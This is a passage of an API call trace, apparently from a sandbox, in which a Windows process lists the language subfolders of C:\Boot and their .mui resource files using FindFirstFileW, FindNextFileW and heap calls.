	[0166.677] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.677] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0166.677] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.677] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0166.678] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.678] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.678] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.678] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.678] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
	[0166.678] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.678] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0166.678] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.678] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abbd8
	[0166.679] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.679] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.679] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.679] FindClose (in: hFindFile=0x6abbd8 | out: hFindFile=0x6abbd8) returned 1
	[0166.679] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.679] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0166.680] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.680] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0166.681] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.681] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.681] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.681] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
	[0166.681] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.681] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0166.681] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0166.682] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.682] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc18
	[0166.682] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.683] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.683] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.683] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.683] FindClose (in: hFindFile=0x6abc18 | out: hFindFile=0x6abc18) returned 1
	[0166.683] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.683] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0166.683] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.683] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.684] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.684] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.684] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.684] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.684] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.684] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0166.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.684] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.685] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.685] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.686] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.686] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.686] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0166.686] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.686] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0166.686] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.686] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.687] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.687] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.687] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.687] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.687] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.687] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
